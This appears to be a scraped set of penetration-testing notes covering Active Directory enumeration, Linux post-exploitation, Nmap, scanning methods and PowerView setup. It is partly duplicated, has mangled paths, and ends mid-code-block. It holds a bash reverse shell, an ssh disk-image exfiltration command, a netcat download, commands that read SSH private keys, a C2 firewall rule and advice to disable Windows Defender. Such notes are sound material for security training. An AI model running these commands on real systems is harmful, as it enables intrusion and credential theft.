  # Enumerating Active Directory

Enumerating Active Directory can provide valuable information about the network’s structure and potential vulnerabilities during penetration testing


	[Active Directory Components](#active-directory-components)


	[CMD Tools](#cmd-tools)


	[PowerShell Tools](#powershell-tools)


	[Linux/Kali Tools](#linuxkali-tools)


	[Resources](#resources)




## Active Directory Components


	Domain Controllers:
* Holds the AD DS data store
* Handles authentication and authorization services
* Replicate updates from other domain controllers in the forest
* Allows admin access to manage domain resources


	AD DS Data Store:
* Contains NTDS.dit which contains all AD DC information including password hashes for domain users
* Stored by default in %SystemRoot%NTDS
* Accessible only by the domain controller


	Forest
* Container that holds pieces of AD network
* Forest is a collection of one or more domain trees inside
* Forest consists of:



	Trees - A hierarchy of domains in Active Directory Domain Services


	Domains - Used to group and manage objects


	Organizational Units (OUs) - Containers for groups, computers, users, printers and other OUs


	Trusts - Allows users to access resources in other domains


	Objects - users, groups, printers, computers, shares


	Domain Services - DNS Server, LLMNR, IPv6


	Domain Schema - Rules for object creation









	Users
* 4 primary types of user accounts:



	Domain admins


	Service accounts


	Local administrators


	Domain users









	Groups
* Distribution groups: specify email distribution lists
* Security groups: specify permissions for large number of users, including the following default security groups:



	Domain Controllers - All domain controllers in the domain


	Domain Guests - All domain guests


	Domain Users - All domain users


	Domain Computers - All workstations and servers joined to the domain


	Domain Admins - Designated administrators of the domain


	Enterprise Admins - Designated administrators of the enterprise


	Schema Admins - Designated administrators of the schema


	DNS Admins - DNS Administrators Group


	DNS Update Proxy - DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers).


	Allowed RODC Password Replication Group - Members in this group can have their passwords replicated to all read-only domain controllers in the domain


	Group Policy Creator Owners - Members in this group can modify group policy for the domain Denied RODC Password Replication Group - Members in this group cannot have their passwords replicated to any read-only domain controllers in the domain


	Protected Users - Members of this group are afforded additional protections against authentication security threats. See <http://go.microsoft.com/fwlink/?LinkId=298939> for more information.


	Cert Publishers - Members of this group are permitted to publish certificates to the directory


	Read-Only Domain Controllers - Members of this group are Read-Only Domain Controllers in the domain


	Enterprise Read-Only Domain Controllers - Members of this group are Read-Only Domain Controllers in the enterprise


	Key Admins - Members of this group can perform administrative actions on key objects within the domain.


	Enterprise Key Admins - Members of this group can perform administrative actions on key objects within the forest.


	Cloneable Domain Controllers - Members of this group that are domain controllers may be cloned.


	RAS and IAS Servers - Servers in this group can access remote access properties of users









	Domain Trusts
* Put rules into place about domain interactions
* Trusts allow users to gain access to other domain resources
* Types of trusts:



	Directional - The direction of the trust flows from a trusting domain to a trusted domain


	Transitive - The trust relationship expands beyond just two domains to include other trusted domains









	Domain Policies
* Like domain groups, except instead of permissions they contain rules


	Active Directory Domain Services
* Services that a domain controller provides to the rest of the domain or tree




## CMD Tools

## Domain User Info with CMD


Description                                  | Command   | Example                                                                                                          |



|----------------------------------------------|———–|------------------------------------------------------------------------------------------------------------------|
| Domain Groups (run on DC)                    | net     | net user                                                                                                       |
| Dsquery User List                            | dsquery | dsquery user domainroot                                                                                        |
| User Logon Name with Email                   | dsquery | dsquery * domainroot -filter   “(&(objectCategory=Person)(objectClass=User)(mail=e-mailaddress))”   -attr name |
| Domain Admins of with Remote Trused   Domain | dsquery | dsquery * -filter “(cn=Domain Admins)” -attr member -d   trustedDomain                                         |
| Domain Users                                 | wmic    | wmic /NAMESPACE:\rootdirectoryldap PATH ds_user GET   ds_samaccountname                                     |
| Domain Groups                                | wmic    | wmic /NAMESPACE:\rootdirectoryldap PATH ds_group GET   ds_samaccountname                                    |
| Domain Computers                             | wmic    | wmic /NAMESPACE:\rootdirectoryldap PATH ds_computer GET   ds_samaccountname                                 |
| View Domain User Info                        | net     | net user /domain       net user pentestuser /domain                                                            |
| Domain Admin Users                           | net     | net group “Domain Admins” /domain                                                                              |

## Enumerating with PowerShell


Description                              | Cmdlet                | Example                                                                                                                                              |



|------------------------------------------|———————–|------------------------------------------------------------------------------------------------------------------------------------------------------|
| Show SET                                 | Get-ChildItem       | Get-ChildItem Env: &#124; ft Key,Value                                                                                                           |
| Get Connected Drives                     | Get-PSDrive         | Get-PSDrive &#124; where {$_.Provider -like “Microsoft.PowerShell.CoreFileSystem”} &#124; ft Name,Root                                        |
| Ping Sweeper                             | echo                | 1..255 &#124; % {echo “192.168.1.$_”; ping -n 1 -w 100 192.168.1.$_ &#124; Select-String ttl}                                                  |
| Port Sweeper                             | echo                | 1..1024 &#124; % {echo ((new-object   Net.Sockets.TcpClient).Connect(“<IPADDR>”, $_)) “Port $_   is open!”} 2>$null                              |
| Sweep Range of IPs for Single Port       | Test-NetwConnection | foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel “Detailed” 192.168.1.$ip}                                                    |
| Sweep IPs and Ports                      | New-Object          | 1..20 &#124; % { $a = $_; 1..1024 &#124; % {echo ((new-object   Net.Sockets.TcpClient).Connect(“10.0.0.$a”,$_)) “Port $_ is   open!”} 2>$null} |
| Test Egress Filtering                    | New-Object          | 1..1024 &#124; % {echo ((new-object   Net.Sockets.TcpClient).Connect(“allports.exposed”,$_)) “Port   $_ is open” } 2>$null                       |
| Show Domain Admins                       | ADSI                | ([adsisearcher]’(memberOf=cn=Domain   Admins,CN=Users,dc=contoso,dc=com)’).FindAll()                                                               |
| Show Accounts that Don’t Lock Out        | dsquery             | dsquery * -filter “(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))”                                 |
| Web Client to Download Files (eg NetCat) | wget                | wget “http://10.10.10.10/nc.exe” -outfile   “c:nc.exe”                                                                                            |
| Get Firewall Rules                       | Get-NetFirewallRule | Get-NetFirewallRule -all &#124; Out-GridView` or   `Get-NetFirewallRule -all &#124; Export-csv <file_path.csv>                                   |

A simple batch script with these commands is here: [toolsWinDomainEnum.bat](https://github.com/EvolvingSysadmin/Penetration-Testing/blob/master/tools/WinDomainEnum.bat)

Display DC Address, Domain Name, Roles

`CMD
wmic ntdomain
`

Dsquery User List

`CMD
dsquery user domainroot
`

User Logon Name from Email

`CMD
dsquery * domainroot -filter "(&(objectCategory=Person)(objectClass=User)(mail=e-mailaddress))" -attr name
`

Display Trusted Domain

`CMD
dsquery * -filter "(objectclass=TrustedDomain)" -attr trustpartner,flatname,trustdirection
`

Domain Admins of from Remote Trused Domain

`CMD
dsquery * -filter "(cn=Domain Admins)" -attr member -d trustedDomain
`

Display All Domain Users

`CMD
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname
`

Display All Domain Groups

`CMD
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname
`

Display All Domain Computers

`CMD
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname
`

View Domain User Info

```CMD
net user /domain


net user pentestuser /domain




```

Display Domain Admin Users

`CMD
net group “Domain Admins” /domain
`

View All Hosts in Domain/Workgroup

`CMD
net view
`

Display Network Shares

`CMD
net share
`

Display Domain Trust Info

```CMD
nltest


nltest /finduser:sweppler
nltest /dclist:mydomain
nltest /trusted_domains




```

```batch
@echo off

echo Enumerating Active Directory objects…

dsquery * -filter “(objectCategory=user)” > ad_users.txt
dsquery * -filter “(objectCategory=group)” > ad_groups.txt
dsquery * -filter “(objectCategory=computer)” > ad_computers.txt

echo Active Directory information has been saved to the following files:
echo ad_users.txt
echo ad_groups.txt
echo ad_computers.txt
```

## PowerShell Tools

Ping Sweeper


	```PowerShell
	1..255 | % {echo “192.168.1.$_”; ping -n 1 -w 100 192.168.1.$_ | Select-String ttl}





```

Port Sweeper

`PowerShell
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("<IPADDR>", $_)) "Port $_ is open!"} 2>$null
`

Sweep Range of IPs for Single Port

`PowerShell
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}
`

Sweep IPs and Ports

`PowerShell
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}
`

Test Egress Filtering

`PowerShell
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("allports.exposed",$_)) "Port $_ is open" } 2>$null
`

Display Domain Admins

`PowerShell
([adsisearcher]"(&(objectClass=User)(admincount=1))").FindAll().Properties.samaccountname
`

Display Accounts that Don’t Lock Out

`PowerShell
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))"
`

Web Client to Download Files (eg NetCat)

`PowerShell
wget "http://10.10.10.10/nc.exe" -outfile "c:\nc.exe"
`

Get Firewall Rules

```PowerShell
Get-NetFirewallRule -all | Out-GridView


Get-NetFirewallRule -all | Export-csv <file_path.csv>




```

Add Firewall Rule

`PowerShell
New-NetFirewallRule -Action Allow -DisplayName Pentester-C2 -RemoteAddress <IPADDR>
`

Generate CSV with User Info

```powershell
Import-Module ActiveDirectory

$results = @()

Get-ADObject -Filter * -SearchBase “LDAP://dc=mydomain,dc=local” |
ForEach-Object {


$results += $_




}

$results | Select-Object Name, ObjectClass, DistinguishedName |
Export-Csv -Path “C:ADObjects.csv” -NoTypeInformation
```

## Linux/Kali Tools


SMB Enumeration Tools

```bash




nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U “” target
enum4linux target
```

Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain

`bash
nbtscan 192.168.1.0/24
`

Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

`bash
enum4linux -a target-ip
`

Fingerprint SMB Version

`bash
smbclient -L //192.168.1.100
`

Find open SMB Shares in Nmap

`bash
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
`

Enumerate SMB Users in Nmap

`bash
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
`

Enumerate SMB Using Samrdump Python Impacket

`bash
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
`

## Linux/Kali Tools


SMB Enumeration Tools

```bash




nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U “” target
enum4linux target
```

Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain

`bash
nbtscan 192.168.1.0/24
`

Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

`bash
enum4linux -a target-ip
`

Fingerprint SMB Version

`bash
smbclient -L //192.168.1.100
`

Find open SMB Shares in Nmap

`bash
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
`

Enumerate SMB Users in Nmap

`bash
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
`

Enumerate SMB Using Samrdump Python Impacket

`bash
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
`

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
https://github.com/trustedsec/ridenum

Metasploit RID Cycling

`bash
use auxiliary/scanner/smb/smb_lookupsid
`

## Resources


	[Information dumper via LDAP](https://github.com/dirkjanm/ldapdomaindump)


	[Integrated DNS dumping by any authenticated user](https://github.com/dirkjanm/adidnsdump)


	[Advanced Discovery of Privileged Accounts](https://github.com/cyberark/ACLight)


	[Detailed Active Directory Recon Tool](https://github.com/sense-of-security/ADRecon)


	[Powershell AD Enumeration](https://www.exploit-db.com/docs/english/46990-active-directory-enumeration-with-powershell.pdf)


	[Data collector tool](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html)




https://www.hackingarticles.in/impacket-guide-smb-msrpc/


https://www.sans.org/blog/pen-test-poster-white-board-powershell-built-in-port-scanner/





	A simple batch script with these commands: [toolsWinNetEnum.bat](https://github.com/EvolvingSysadmin/Penetration-Testing/blob/master/tools/WinNetEnum.bat)




A simple batch script with these commands is here: [toolsWinDomainEnum.bat](https://github.com/EvolvingSysadmin/Penetration-Testing/blob/master/tools/WinDomainEnum.bat)

“C:CodePenetration-Testing - WorkingtoolsWindowsEnum.ps1”

“C:CodePenetration-Testing - WorkingtoolsWinUserEnum.bat”



            

          

      

      

    

  

    
      
          
            
  # Linux Post Exploitation Discovery

## Description

## Techniques

## Resources


	Identify current user ID and privileges


	Identify network connections (for lateral movement)


	Identify Running processes


	Identify Chron jobs/scheduled tasks


	Identify if Active Directory environment then identify users/groups/computers if in cloud or on-prem


	If not AD, then find applications, firewalls, AV




whoami /priv
netstat -na | findstr “ESTABLISHED” or “WAITING”
arp -a
systeminfo | findstr “Domain”


	<https://github.com/Arr0way/linux-local-enumeration-script>




# Linux Exploits

## Commands

Redirect IPv6 listening TCP port to
localhost IPv4.
`shell
IPV6ADDR=fc00:660:0:1::46
&& PORT=110 && socat
TCP-LISTEN:$PORT,reuseaddr,
fork TCP6:[$IPV6ADDR]:$POR
`

Find Juicy Stuff in the File System
```shell


find /PATH/TO/DIRECTORY




-name “FILE-FILTER” -type
f -exec grep -i “STRING”
{} ; -print 2>/dev/null
```

Find public ip
`shell
curl -4 icanhazip.com
`

Make output easier to read
`shell
alias ccat='pygmentize
-O bg=dark,style=colorful'
`

Encrypted Exfil channel
`shell
dd if=/dev/rdisk0s1s2
bs=65536 conv=noerror,sync
| ssh -C user@10.10.10.10
"cat >/tmp/image.dd"
`

Check service every second
`shell
while (true); do nc -vv
-z -w3 10.10.10.10 80 >
/dev/null && echo -e
"Service is up"; sleep 1;
done
`

Website Cloner
`shell
wget -r -nH $URL
`

Type “gah” after you forgot to use sudo, and it’ll sudo your most recent command.
`shell
alias gah='sudo $(history
-p \!\!)'
`

Create a reverse shell back to a
given IP address and port.

`shell
bash -i >&
/dev/tcp/10.10.10.10/8080
0>&1
`

Encode or decode base64
information.
```shell
echo ‘Hello, World!’ |
base64

echo
‘SGVsbG8sIFdvcmxkIQo=’ |
base64 -d
```

## Helpful Commands

`shell
cat ~/.bash_history
cat ~/.ssh/config
cat ~/.ssh/id_rsa
cat ~/.ssh/known_hosts
`

## Linux Post Exploitation Tools


	BusyBox


	NMAP


	Responder.py


	tcpdump


	http://www.monkey.org/~dugsong/dsniff/


	http://www.dest-unreach.org/socat/


	https://www.gnu.org/software/screen/


	http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html


	http://tgcd.sourceforge.net/




## Resources
* [APT Privilege Escalation](https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/)



            

          

      

      

    

  

    
      
          
            
  # Nmap

Nmap is a Security Scanner, Port Scanner, & Network Exploration Tool


	[Background](#background)


	[Installation](#installation)


	[Usage](#usage)
* [Basic Usage](#basic-usage)
* [Scan Types](#scan-types)
* [Targeting](#targeting)
* [Host Discovery](#host-discovery)
* [Port Discovery](#port-discovery)
* [OS Discovery](#os-discovery)
* [Service Discovery](#service-discovery)
* [Evasion](#evasion)
* [Output](#output)
* [Scripting](#scripting)
* [Timing Templates](#timing-templates)
* [Timing and Performance](#timing-and-performance)


	[Resources](#resources)




## Background

Nmap is a popular security tool that can be used as a network exploration and port scanner. It can help you identify hosts and services on a network, as well as other valuable information like operating system details, open ports, services running on those ports, and potential vulnerabilities.

## Installation


	Download: <https://nmap.org/download.html>


	Linux:


`bash
sudo apt-get update && upgrade
sudo apt-get install nmap
`








## Usage

### Basic Usage


	Base Syntax: nmap [ScanType] [Options] {targets}


	Access Help: nmap -h


	Nmap Discovery Steps: 1. Enumerate Targets -> 2. Discover Live Hosts -> 3. Reverse DNS Lookup -> 4. Scan Ports -> 5. Detect Versions -> 6. Detect OS -> 7. Tracert -> 8. Run Scripts -> 9. Write Output


	TCP Flags:
* URG: urgent incoming data
* ACK: TCP receipt acknowledgement
* PSH: promptly push data into application
* RST: reset connection
* SYN: synchornize initiates TCP handshake
* FIN: sender has no more data to send




### Scan Types


Description                                                                                          | Switch | Example                |



|------------------------------------------------------------------------------------------------------|——–|------------------------|
| [TCP SYN port scan (Default )](https://nmap.org/book/synscan.html)                                   | -sS  | nmap 192.168.1.1 -sS |
| [TCP connect port scan (Default without root)](https://nmap.org/book/scan-methods-connect-scan.html) | -sT  | nmap 192.168.1.1 -sT |
| [UDP port scan](https://nmap.org/book/scan-methods-udp-scan.html)                                    | -sU  | nmap 192.168.1.1 -sU |
| [TCP ACK Port Scan](https://nmap.org/book/scan-methods-ack-scan.html)                                | -sA  | nmap 192.168.1.1 -sA |
| [TCP Window port scan](https://nmap.org/book/scan-methods-window-scan.html)                          | -sW  | nmap 192.168.1.1 -sW |
| [TCP Maimon port scan](https://nmap.org/book/scan-methods-maimon-scan.html)                          | -sM  | nmap 192.168.1.1 -sM |
| [TCP Fin scan](https://nmap.org/book/scan-methods-null-fin-xmas-scan.html)                           | -sF  | nmap 192.168.1.1 -sF |
| [TCP Null scan](https://nmap.org/book/scan-methods-null-fin-xmas-scan.html)                          | -sN  | nmap 192.168.1.1 -sN |
| [TCP Xmas scan](https://nmap.org/book/scan-methods-null-fin-xmas-scan.html)                          | -sX  | nmap 192.168.1.1 -sX |
| [ARP scan](https://nmap.org/book/host-discovery-techniques.html)                                     | -PR  | nmap 192.168.1.1 -PR |

### Targeting


Description              | Switch     | Example                        |



|--------------------------|————|--------------------------------|
| Scan a single IP         |            | nmap 192.168.1.1             |
| Scan specific IPs        |            | nmap 192.168.1.1 192.168.2.1 |
| Scan a range             |            | nmap 192.168.1-255.1-254     |
| Scan a domain            |            | nmap scanme.nmap.org         |
| Scan using CIDR notation |            | nmap 192.168.1.0/24          |
| Scan targets from a file | -iL      | nmap -iL targets.txt         |
| Scan 100 random hosts    | -iR      | nmap -iR 100                 |
| Exclude listed hosts     | –exclude | nmap –exclude 192.168.1.1    |

### Host Discovery


Description                                     | Switch         | Example                                     |



|-------------------------------------------------|—————-|---------------------------------------------|
| Don’t Scan. List targets only                   | -sL          | nmap 192.168.1.1-3 -sL                    |
| Disable port scanning. Host discovery only.     | -sn          | nmap 192.168.1.1/24 -sn                   |
| Disable host discovery. Port scan only.         | -Pn          | nmap 192.168.1.1-5 -Pn                    |
| TCP SYN discovery on port x (port 80 default)   | -PS          | nmap 192.168.1.1-5 -PS22-25,80            |
| TCP ACK discovery on port x (port 80 default)   | -PA          | nmap 192.168.1.1-5 -PA22-25,80            |
| UDP discovery on port x (port 40125 default)    | -PU          | nmap 192.168.1.1-5 -PU53                  |
| ARP discovery on local network                  | -PR          | nmap 192.168.1.1-1/24 -PR                 |
| Don’t do DNS resolution                         | -n           | nmap 192.168.1.1 -n                       |
| Specify DNS server. Example 192.168.1.2         | –dns-servers | nmap 192.168.1.1 –dns-servers 192.168.1.2 |
| Perform DNS resolution, even for offline hosts. | -R           | nmap 192.168.1.1 -R                       |
| ICMP timestamp request                          | -PP          | nmap 192.168.1.1 -PP                      |
| ICMP address mask                               | -PM          | nmap 192.168.1.1 -PM                      |
| ICMP echo request                               | -PE          | nmap 192.168.1.1 -PE                      |

### Port Discovery


Description                                   | Switch       | Example                               |



|-----------------------------------------------|————–|---------------------------------------|
| Port scan for single port                     | -p         | nmap 192.168.1.1 -p 21              |
| Port range                                    | -p         | nmap 192.168.1.1 -p 21-100          |
| Port scan multiple TCP and UDP ports          | -p         | nmap 192.168.1.1 -p U:53,T:21-25 80 |
| Port scan all ports                           | -p         | nmap 192.168.1.1 -p-                |
| Port scan from service name                   | -p         | nmap 192.168.1.1 -p http,https      |
| Fast port scan (100 ports)                    | -F         | nmap 192.168.1.1 -F                 |
| Port scan the top x ports                     | –top-ports | nmap 192.168.1.1 –top-ports 2000    |
| Omitting beginning range starts scan at 1     | -p-65535   | nmap 192.168.1.1 -p-65535           |
| Omitting ending range runs scan through 65535 | -p-        | nmap 192.168.1.1 -p0-               |

### OS Discovery


Description                                                      | Switch             | Example                               |



|------------------------------------------------------------------|——————–|---------------------------------------|
| Remote OS detection using TCP/IP fingerprinting                  | -O               | nmap 192.168.1.1 -O                 |
| OS host detection if open and closed ports >=1                   | -O –osscan-limit | nmap 192.168.1.1 -O –osscan-limit   |
| Makes Nmap guess more aggressively                               | -O –osscan-guess | nmap 192.168.1.1 -O –osscan-guess   |
| Maximum OS detection tries against a target                      | -O –max-os-tries | nmap 192.168.1.1 -O –max-os-tries 1 |
| OS detection, version detection, script scanning, traceroute     | -A               | nmap 192.168.1.1 -A                 |
| Run traceroute                                                   | –traceroute      | nmap traceroute 192.168.1.1         |

### Service Discovery


Description                                                  | Switch                   | Example                                     |



|--------------------------------------------------------------|————————–|---------------------------------------------|
| Attempts to determine version of service running on port     | -sV                    | nmap 192.168.1.1 -sV                      |
| Intensity level 0 to 9. Higher increases correctness         | -sV –version-intensity | nmap 192.168.1.1 -sV –version-intensity 8 |
| Light mode. Lower possibility of correctness. Faster         | -sV –version-light     | nmap 192.168.1.1 -sV –version-light       |
| Intensity level 9. Higher possibility of correctness. Slower | -sV –version-all       | nmap 192.168.1.1 -sV –version-all         |
| OS detection, version detection, script scanning, traceroute | -A                     | nmap 192.168.1.1 -A                       |

### Evasion


Description                                                               | Switch         | Example                                                                      |



|---------------------------------------------------------------------------|—————-|------------------------------------------------------------------------------|
| Use fragmented IP packets (-ff increases fragmentation)                   | -f           | nmap 192.168.1.1 -f                                                        |
| Set your own offset size                                                  | –mtu         | nmap 192.168.1.1 –mtu 32                                                   |
| Send scans from spoofed/decoy IPs                                         | -D           | nmap -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1 |
| Above example explained                                                   | -D           | nmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ip |
| Spoofed scan of Facebook from Microsoft (-e eth0 -Pn may be required)     | -S           | nmap -S www.microsoft.com www.facebook.com                                 |
| Use given source port number                                              | -g           | nmap -g 53 192.168.1.1                                                     |
| Relay connections through HTTP/SOCKS4 proxies                             | –proxies     | nmap –proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1 |
| Appends random data to sent packets                                       | –data-length | nmap –data-length 200 192.168.1.1                                          |
| Spoof MAC address                                                         | –spoof-mac   | nmap –spoof-mac 00000ABB28FC                                               |
| Idle/zombie scan. Example using 192.168.1.2 as zombie to scan 192.168.1.1 | -sI          | nmap -sI 192.168.1.2 192.168.1.1                                           |
| Custom scan flags. Example with SYN and FIN flags set                     | –scanflags  | nmap –scanflags SYNFIN 192.168.1.1                                        |

### Output


Description                                                   | Switch           | Example                                         |



|---------------------------------------------------------------|——————|-------------------------------------------------|
| Normal output to the file normal.file                         | -oN            | nmap 192.168.1.1 -oN normal.file              |
| XML output to the file xml.file                               | -oX            | nmap 192.168.1.1 -oX xml.file                 |
| Grepable output to the file grep.file                         | -oG            | nmap 192.168.1.1 -oG grep.file                |
| Output in the three major formats at once                     | -oA            | nmap 192.168.1.1 -oA results                  |
| Grepable output to screen. -oN -, -oX – also usable           | -oG –          | nmap 192.168.1.1 -oG –                        |
| Append a scan to a previous scan file                         | –append-output | nmap 192.168.1.1 -oN file.file –append-output |
| Increase the verbosity level (-vv or more for greater effect) | -v             | nmap 192.168.1.1 -v                           |
| Increase debugging level (-dd or more for greater effect)     | -d             | nmap 192.168.1.1 -d                           |
| Display the reason a port is in a  state, same output as -vv  | –reason        | nmap 192.168.1.1 –reason                      |
| Only show open (or possibly open) ports                       | –open          | nmap 192.168.1.1 –open                        |
| Show all packets sent and received                            | –packet-trace  | nmap 192.168.1.1 -T4 –packet-trace            |
| Shows the host interfaces and routes                          | –iflist        | nmap –iflist                                  |
| Resume a scan                                                 | –resume        | nmap –resume results.file                     |

### Scripting


Description                                       | Switch            | Example                                                                   |



|---------------------------------------------------|——————-|---------------------------------------------------------------------------|
| View all local scripts                            | ls              | ls /urs/share/nmap/scripts                                              |
| Search local scripts with wildcards. Example http | ls -l           | ls -l /usr/share/nmap/scripts/*http*                                    |
| Default NSE scripts. Useful/safe for discovery    | -sC             | nmap 192.168.1.1 -sC                                                    |
| Default NSE scripts. Useful/safe for discovery    | –script default | nmap 192.168.1.1 –script default                                        |
| Use Single script. Example banner                 | –script         | nmap 192.168.1.1 –script=banner                                         |
| Use wildcard. Example http                        | –script         | nmap 192.168.1.1 –script=http*                                          |
| Use two scripts. Example http and banner          | –script         | nmap 192.168.1.1 –script=http,banner                                    |
| Use a category. Example auth                      | –script         | nmap 192.168.1.1 –script=auth                                           |
| Default with intrusive scripts removed            | –script         | nmap 192.168.1.1 –script not intrusive                                  |
| NSE script with arguments                         | –script-args    | nmap –script snmp-sysdescr –script-args snmpcommunity=admin 192.168.1.1 |
| Display help for script. Example banner           | –script-help    | nmap –script-help banner                                                |
| Get page titles from HTTP services                | -script         | nmap 192.168.1.0/24 -script=http-title                                  |
| Get HTTP headers of web services                  | -script         | nmap 192.168.1.0/24 -script=http-headers                                |
| Find apps from known paths                        | -script         | nmap 192.168.1.0/24 -script=http-enum                                   |
| Get IP info                                       | -script         | nmap 192.168.1.0/24 -script=asn-query,whois,ip-geolocation-maxmind      |
| Heartbleed vulnerability detection                | -script         | nmap 192.168.1.0/24 -script=ssl-heartbleed -sV -p 443                   |
| CVE detection                                     | -script         | nmap 192.168.1.0/24 -script-vuln -Pn                                    |
| Malware scan                                      | -script         | nmap 192.168.1.0/24 -script=http-malware-host -sV                       |
| Malware scan using Google malware check           | -script         | nmap 192.168.1.0/24 -script=script http-google-malware -p80 target.com  |
| SMB vulnerability detection                       | -script         | nmap 192.168.1.0/24 -script=smb-check-vulns -script-args=unsage=1 -v -p |

### Timing Templates


Description                                                                   | Switch | Example                |



|-------------------------------------------------------------------------------|——–|------------------------|
| Paranoid (0) Intrusion Detection System evasion                               | -T0  | nmap 192.168.1.1 -T0 |
| Sneaky (1) Intrusion Detection System evasion                                 | -T1  | nmap 192.168.1.1 -T1 |
| Polite (2) slows down to use less bandwidth and less target machine resources | -T2  | nmap 192.168.1.1 -T2 |
| Normal (3) which is default speed                                             | -T3  | nmap 192.168.1.1 -T3 |
| Aggressive (4) speeds scans; assumes you are on a fast network                | -T4  | nmap 192.168.1.1 -T4 |
| Insane (5) speeds scan; assumes you are on an extraordinarily fast network    | -T5  | nmap 192.168.1.1 -T5 |

### Timing and Performance


Description                                         | Switch                                                        | Example    |



|-----------------------------------------------------|—————————————————————|------------|
| Give up on target after this long                   | –host-timeout <time>                                        | 1s; 4m; 2h |
| Specifies probe round trip time                     | –min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time> | 1s; 4m; 2h |
| Parallel host scan group sizes                      | –min-hostgroup/max-hostgroup <size<size>                    | 50; 1024   |
| Probe parallelization                               | –min-parallelism/max-parallelism <numprobes>                | 10; 1      |
| Maximum number of port scan probe retransmissions   | –max-retries <tries>                                        | 3          |
| Send packets no slower than <number> per second   | –min-rate <number>                                          | 100        |
| Send packets no faster than <number> per second   | –max-rate <number>                                          | 100        |

## Resources


	[Nmap Reference Guide](https://nmap.org/book/man.html)


	[Nmap Officical Book](https://nmap.org/book/toc.html)


	[NMAP Scripts Portal](https://nmap.org/nsedoc/)


	[NMAP Script Usage](https://nmap.org/book/nse-usage.html)


	[NMAP Firewall Evasion Techniques](https://nmap.org/book/man-bypass-firewalls-ids.html)


	[Kali Nmap Guide](https://www.kali.org/tools/nmap/)


	[Common Ports](https://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-en-4/ch-ports.html)


	[Nmap Cheat Sheet](/resources/nmap-cheat-sheet.pdf)


	[SANS Nmap Cheat Sheet](/resources/sans-nmap.pdf)


	Additional Scanning Tools:
* [arp-scan](https://www.kali.org/tools/arp-scan/)
* [masscan](https://github.com/robertdavidgraham/masscan)
* [ZMap](https://zmap.io/)






            

          

      

      

    

  

    
      
          
            
  # Other Scanning Methods

## Banner Grabbing

Basic versioning / finger printing via displayed banner

```bash
nc -v 192.168.1.1 25


telnet 192.168.1.1 25




```

Banner grabbing with NC

`bash
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>
`

## UDP Protocol Scanner

`bash
git clone https://github.com/portcullislabs/udp-proto-scanner.git
`

Scan a file of IP addresses for all services

`bash
./udp-protocol-scanner.pl -f ip.txt
`

Scan for a specific UDP service

`bash
udp-proto-scanner.pl -p ntp -f ips.txt
`

## Netdiscover

Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you’re on the right VLAN at $client site

`bash
netdiscover -r 192.168.1.0/24
`

https://github.com/absolomb/WindowsEnum

https://www.sans.org/blog/pen-test-poster-white-board-powershell-built-in-port-scanner/

https://github.com/fortra/impacket#getting-impacket

Netcat to discover open telnet

```bash
nc -v 192.168.1.1 25


telnet 192.168.1.1 25




```

## UDP Protocol Scanner

`bash
git clone https://github.com/portcullislabs/udp-proto-scanner.git
`
Scan a file of IP addresses for all services
`bash
./udp-protocol-scanner.pl -f ip.txt
`
Scan for a specific UDP service
`bash
udp-proto-scanner.pl -p ntp -f ips.txt
`

## Netdiscover

Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you’re on the right VLAN at $client site
`bash
netdiscover -r 192.168.1.0/24
`



            

          

      

      

    

  

    
      
          
            
  # PowerView

## Setup


	Download PowerSploit and/or Recon folder/module here:
* https://github.com/PowerShellMafia/PowerSploit/tree/dev
* Copy to Folder Path: C:WindowsSystem32WindowsPowerShellv1.0Modules


	Add folders as exculsions or disable windows defender


	
	Set unrestricted PowerShell execution policy:
	` PowerShell
Set-ExecutionPolicy -ExecutionPolicy Unrestricted
`







	
	Import PowerSploit and/or Recon module:
	` PowerShell
Import-Module Recon
`









## Domain Info

Display Current Domain
```PowerShell
Get-NetDomain


Get-NetDomain -Domain <DomainName>




```
Display Verbose Domain Info
```PowerShell
Get-ADDomain


Get-ADDomain -Domain <DomainName>




`
Get Domain SID
```PowerShell
